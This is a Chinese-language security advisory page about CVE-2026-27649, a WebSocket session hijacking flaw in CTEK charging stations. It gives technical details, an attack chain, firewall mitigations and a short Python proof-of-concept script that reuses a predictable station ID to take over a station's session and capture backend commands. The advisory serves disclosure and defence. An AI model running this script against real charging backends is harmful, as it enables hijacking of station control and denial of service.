IPBUF安全漏洞报告
English
CVE-2026-27649 CVSS 7.3 高危

CVE-2026-27649 CTEK充电站WebSocket会话劫持漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-27649
漏洞类型
会话劫持
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CTEK Charging Station

相关标签

会话劫持WebSocketCTEK物联网工控安全

漏洞概述

该漏洞存在于CTEK充电站的WebSocket后端实现中。由于系统使用可预测的充电站标识符作为会话唯一标识,且未限制同一标识的并发连接数,导致攻击者可复用合法的会话ID建立连接。这使得攻击者能够劫持充电站会话,接收本应发给合法设备的指令,或通过大量连接发起拒绝服务攻击。

技术细节

漏洞的核心在于WebSocket后端对会话管理的逻辑缺陷。后端直接使用充电站的硬件标识符(如序列号)来关联WebSocket会话,而该标识符通常在物理设备上可见或易于枚举。系统未实施严格的会话唯一性校验,允许“后进先出”的连接机制,即新的连接会取代现有的活跃连接。攻击者只需嗅探或猜解目标充电站的ID,并发起WebSocket连接请求,即可通过“影子”效应强制断开合法站点的连接。成功利用后,攻击者可冒充充电站接收后端控制指令(如启停充电),或通过发送大量伪造请求导致后端资源耗尽,造成服务拒绝。

攻击链分析

STEP 1
信息收集
攻击者通过网络扫描、物理观察或公开渠道获取目标CTEK充电站的标识符(Station ID)。
STEP 2
伪造连接
攻击者编写脚本,使用获取到的Station ID向WebSocket后端发起连接请求。
STEP 3
会话劫持
由于后端允许复用ID,新建立的连接强制断开了充电站的合法连接,攻击者接管了会话控制权。
STEP 4
执行攻击
攻击者接收后端下发的控制指令,或发送大量并发请求导致后端拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets # Target WebSocket endpoint TARGET_URI = "ws://vulnerable-charger-backend.example.com/ws" # Predicted/Leaked Charging Station Identifier STATION_ID = "CTEK-CHARGER-001" async def hijack_session(): # Construct the URI including the predictable session identifier # Depending on implementation, the ID might be in the path or query param uri = f"{TARGET_URI}?station_id={STATION_ID}" print(f"[*] Attempting to hijack session for Station ID: {STATION_ID}") try: async with websockets.connect(uri) as websocket: print("[+] Connection established. Legitimate session displaced.") # Listen for backend commands intended for the station while True: message = await websocket.recv() print(f"[Intercepted Command]: {message}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": asyncio.run(hijack_session())

影响范围

CTEK Charging Station (具体受影响版本请参考CISA公告 ICSA-26-078-06)

防御指南

临时缓解措施
建议在防火墙层面限制对充电站管理后台WebSocket端口的访问,仅允许受信任的IP地址连接。同时,加强对充电站网络流量的监控,及时发现异常的重复连接或会话接管行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表